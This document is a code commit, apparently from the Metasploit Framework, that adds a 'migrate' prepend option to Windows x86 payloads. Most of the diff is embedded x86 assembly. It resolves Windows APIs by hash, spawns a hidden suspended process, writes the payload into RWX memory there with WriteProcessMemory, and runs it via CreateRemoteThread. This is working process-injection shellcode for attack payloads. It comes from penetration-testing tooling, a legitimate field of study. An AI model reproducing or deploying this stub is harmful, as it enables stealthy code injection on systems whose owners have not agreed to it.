Add migrate stub option to Windows x86 payloads.
Migrate stub spawns payload in new process.unstable
scriptjunkie
parent
9597e44a95
commit
0564a6eaa7
|
|
@ -26,7 +26,7 @@ module Msf::Payload::Windows
|
||||||
# This mixin is chained within payloads that target the Windows platform.
|
# This mixin is chained within payloads that target the Windows platform.
|
||||||
# It provides special variable substitution for things like EXITFUNC and
|
# It provides special variable substitution for things like EXITFUNC and
|
||||||
# automatically adds it as a required option for exploits that use windows
|
# automatically adds it as a required option for exploits that use windows
|
||||||
# payloads.
|
# payloads. It also provides the migrate prepend.
|
||||||
#
|
#
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
ret = super( info )
|
ret = super( info )
|
||||||
|
|
@ -53,10 +53,208 @@ module Msf::Payload::Windows
|
||||||
[
|
[
|
||||||
Msf::OptRaw.new('EXITFUNC', [ true, "Exit technique: #{@@exit_types.keys.join(", ")}", 'process' ])
|
Msf::OptRaw.new('EXITFUNC', [ true, "Exit technique: #{@@exit_types.keys.join(", ")}", 'process' ])
|
||||||
], Msf::Payload::Windows )
|
], Msf::Payload::Windows )
|
||||||
|
register_advanced_options(
|
||||||
|
[
|
||||||
|
Msf::OptBool.new('PrependMigrate', [ true, "Spawns and runs shellcode in new process", false ]),
|
||||||
|
Msf::OptString.new('PrependMigrateProc', [ false, "Process to spawn and run shellcode in" ])
|
||||||
|
], Msf::Payload::Windows )
|
||||||
ret
|
ret
|
||||||
end
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Overload the generate() call to prefix our stubs
|
||||||
|
#
|
||||||
|
def generate(*args)
|
||||||
|
# Call the real generator to get the payload
|
||||||
|
buf = super(*args)
|
||||||
|
pre = ''
|
||||||
|
|
||||||
|
test_arch = [ *(self.arch) ]
|
||||||
|
|
||||||
|
# Handle all x86 code here
|
||||||
|
if (test_arch.include?(ARCH_X86))
|
||||||
|
|
||||||
|
# PrependMigrate
|
||||||
|
if (datastore['PrependMigrate'])
|
||||||
|
payloadsize = "0x%04x" % buf.length
|
||||||
|
procname = datastore['PrependMigrateProc'] || 'rundll32'
|
||||||
|
|
||||||
|
migrate_asm = <<EOS
|
||||||
|
cld ; Clear the direction flag.
|
||||||
|
call start ; Call start, this pushes the address of 'api_call' onto the stack.
|
||||||
|
api_call:
|
||||||
|
pushad ; We preserve all the registers for the caller, bar EAX and ECX.
|
||||||
|
mov ebp, esp ; Create a new stack frame
|
||||||
|
xor edx, edx ; Zero EDX
|
||||||
|
mov edx, [fs:edx+48] ; Get a pointer to the PEB
|
||||||
|
mov edx, [edx+12] ; Get PEB->Ldr
|
||||||
|
mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list
|
||||||
|
next_mod: ;
|
||||||
|
mov esi, [edx+40] ; Get pointer to modules name (unicode string)
|
||||||
|
movzx ecx, word [edx+38] ; Set ECX to the length we want to check
|
||||||
|
xor edi, edi ; Clear EDI which will store the hash of the module name
|
||||||
|
loop_modname: ;
|
||||||
|
xor eax, eax ; Clear EAX
|
||||||
|
lodsb ; Read in the next byte of the name
|
||||||
|
cmp al, 'a' ; Some versions of Windows use lower case module names
|
||||||
|
jl not_lowercase ;
|
||||||
|
sub al, 0x20 ; If so normalise to uppercase
|
||||||
|
not_lowercase: ;
|
||||||
|
ror edi, 13 ; Rotate right our hash value
|
||||||
|
add edi, eax ; Add the next byte of the name
|
||||||
|
loop loop_modname ; Loop untill we have read enough
|
||||||
|
; We now have the module hash computed
|
||||||
|
push edx ; Save the current position in the module list for later
|
||||||
|
push edi ; Save the current module hash for later
|
||||||
|
; Proceed to iterate the export address table,
|
||||||
|
mov edx, [edx+16] ; Get this modules base address
|
||||||
|
mov eax, [edx+60] ; Get PE header
|
||||||
|
add eax, edx ; Add the modules base address
|
||||||
|
mov eax, [eax+120] ; Get export tables RVA
|
||||||
|
test eax, eax ; Test if no export address table is present
|
||||||
|
jz get_next_mod1 ; If no EAT present, process the next module
|
||||||
|
add eax, edx ; Add the modules base address
|
||||||
|
push eax ; Save the current modules EAT
|
||||||
|
mov ecx, [eax+24] ; Get the number of function names
|
||||||
|
mov ebx, [eax+32] ; Get the rva of the function names
|
||||||
|
add ebx, edx ; Add the modules base address
|
||||||
|
; Computing the module hash + function hash
|
||||||
|
get_next_func: ;
|
||||||
|
jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
|
||||||
|
dec ecx ; Decrement the function name counter
|
||||||
|
mov esi, [ebx+ecx*4] ; Get rva of next module name
|
||||||
|
add esi, edx ; Add the modules base address
|
||||||
|
xor edi, edi ; Clear EDI which will store the hash of the function name
|
||||||
|
; And compare it to the one we want
|
||||||
|
loop_funcname: ;
|
||||||
|
xor eax, eax ; Clear EAX
|
||||||
|
lodsb ; Read in the next byte of the ASCII function name
|
||||||
|
ror edi, 13 ; Rotate right our hash value
|
||||||
|
add edi, eax ; Add the next byte of the name
|
||||||
|
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
|
||||||
|
jne loop_funcname ; If we have not reached the null terminator, continue
|
||||||
|
add edi, [ebp-8] ; Add the current module hash to the function hash
|
||||||
|
cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for
|
||||||
|
jnz get_next_func ; Go compute the next function hash if we have not found it
|
||||||
|
; If found, fix up stack, call the function and then value else compute the next one...
|
||||||
|
pop eax ; Restore the current modules EAT
|
||||||
|
mov ebx, [eax+36] ; Get the ordinal table rva
|
||||||
|
add ebx, edx ; Add the modules base address
|
||||||
|
mov cx, [ebx+2*ecx] ; Get the desired functions ordinal
|
||||||
|
mov ebx, [eax+28] ; Get the function addresses table rva
|
||||||
|
add ebx, edx ; Add the modules base address
|
||||||
|
mov eax, [ebx+4*ecx] ; Get the desired functions RVA
|
||||||
|
add eax, edx ; Add the modules base address to get the functions actual VA
|
||||||
|
; We now fix up the stack and perform the call to the desired function...
|
||||||
|
finish:
|
||||||
|
mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad
|
||||||
|
pop ebx ; Clear off the current modules hash
|
||||||
|
pop ebx ; Clear off the current position in the module list
|
||||||
|
popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
|
||||||
|
pop ecx ; Pop off the origional return address our caller will have pushed
|
||||||
|
pop edx ; Pop off the hash value our caller will have pushed
|
||||||
|
push ecx ; Push back the correct return value
|
||||||
|
jmp eax ; Jump into the required function
|
||||||
|
; We now automagically return to the correct caller...
|
||||||
|
get_next_mod: ;
|
||||||
|
pop eax ; Pop off the current (now the previous) modules EAT
|
||||||
|
get_next_mod1: ;
|
||||||
|
pop edi ; Pop off the current (now the previous) modules hash
|
||||||
|
pop edx ; Restore our position in the module list
|
||||||
|
mov edx, [edx] ; Get the next module
|
||||||
|
jmp next_mod ; Process this module
|
||||||
|
;--------------------------------------------------------------------------------------
|
||||||
|
start: ;
|
||||||
|
pop ebp ; Pop off the address of 'api_call' for calling later.
|
||||||
|
|
||||||
|
; get our own startupinfo at esp+0x60
|
||||||
|
add esp,-400 ; adjust the stack to avoid corruption
|
||||||
|
mov edx,esp
|
||||||
|
add edx,0x60
|
||||||
|
push edx
|
||||||
|
push 0xB16B4AB1 ; hash( "kernel32.dll", "GetStartupInfoA" )
|
||||||
|
call ebp ; GetStartupInfoA( &si );
|
||||||
|
|
||||||
|
; ptr to startupinfo is in eax
|
||||||
|
; pointer to string is in ecx
|
||||||
|
jmp getcommand
|
||||||
|
gotcommand:
|
||||||
|
pop esi ; esi = address of process name (command line)
|
||||||
|
|
||||||
|
; create the process
|
||||||
|
mov edi,eax
|
||||||
|
add edi,0x60 ; Offset of empty space for lpProcessInformation
|
||||||
|
push edi ; lpProcessInformation : write processinfo here
|
||||||
|
push eax ; lpStartupInfo : current info (read)
|
||||||
|
xor ebx,ebx
|
||||||
|
push ebx ; lpCurrentDirectory
|
||||||
|
push ebx ; lpEnvironment
|
||||||
|
push 0x08000004 ; dwCreationFlags CREATE_NO_WINDOW | CREATE_SUSPENDED
|
||||||
|
push ebx ; bInHeritHandles
|
||||||
|
push ebx ; lpThreadAttributes
|
||||||
|
push ebx ; lpProcessAttributes
|
||||||
|
push esi ; lpCommandLine
|
||||||
|
push ebx ; lpApplicationName
|
||||||
|
|
||||||
|
push 0x863FCC79 ; hash( "kernel32.dll", "CreateProcessA" )
|
||||||
|
call ebp ; CreateProcessA( &si );
|
||||||
|
|
||||||
|
; allocate memory in the process (VirtualAllocEx())
|
||||||
|
; get handle
|
||||||
|
push 0x40 ; RWX
|
||||||
|
add bh,0x10 ; ebx = 0x1000
|
||||||
|
push ebx ; MEM_COMMIT
|
||||||
|
push ebx ; size
|
||||||
|
xor ebx,ebx
|
||||||
|
push ebx ; address
|
||||||
|
push [edi] ; handle
|
||||||
|
push 0x3F9287AE ; hash( "kernel32.dll", "VirtualAllocEx" )
|
||||||
|
call ebp ; VirtualAllocEx( ...);
|
||||||
|
|
||||||
|
; eax now contains the destination
|
||||||
|
; WriteProcessMemory()
|
||||||
|
push esp ; lpNumberOfBytesWritten
|
||||||
|
push #{payloadsize} ; nSize
|
||||||
|
; pick up pointer to shellcode & keep it on stack
|
||||||
|
jmp begin_of_payload
|
||||||
|
begin_of_payload_return: ; lpBuffer
|
||||||
|
push eax ; lpBaseAddress
|
||||||
|
push [edi] ; hProcess
|
||||||
|
push 0xE7BDD8C5 ; hash( "kernel32.dll", "WriteProcessMemory" )
|
||||||
|
call ebp ; WriteProcessMemory( ...);
|
||||||
|
|
||||||
|
; run the code (CreateRemoteThread())
|
||||||
|
push ebx ; lpthreadID
|
||||||
|
push ebx ; run immediately
|
||||||
|
push ebx ; no parameter
|
||||||
|
mov ecx,[esp-0x4]
|
||||||
|
push ecx ; shellcode
|
||||||
|
push ebx ; stacksize
|
||||||
|
push ebx ; lpThreadAttributes
|
||||||
|
push [edi]
|
||||||
|
push 0x799AACC6 ; hash( "kernel32.dll", "CreateRemoteThread" )
|
||||||
|
call ebp ; CreateRemoteThread( ...);
|
||||||
|
|
||||||
|
;sleep
|
||||||
|
push -1
|
||||||
|
push 0xE035F044 ; hash( "kernel32.dll", "Sleep" )
|
||||||
|
call ebp ; Sleep( ... );
|
||||||
|
|
||||||
|
getcommand:
|
||||||
|
call gotcommand
|
||||||
|
db "#{procname}"
|
||||||
|
db 0x00
|
||||||
|
begin_of_payload:
|
||||||
|
call begin_of_payload_return
|
||||||
|
EOS
|
||||||
|
|
||||||
|
pre << Metasm::Shellcode.assemble(Metasm::Ia32.new, migrate_asm).encode_string
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
return (pre + buf)
|
||||||
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Replace the EXITFUNC variable like madness
|
# Replace the EXITFUNC variable like madness
|
||||||
#
|
#
|
||||||
|
|
|
||||||
Loading…
Reference in New Issue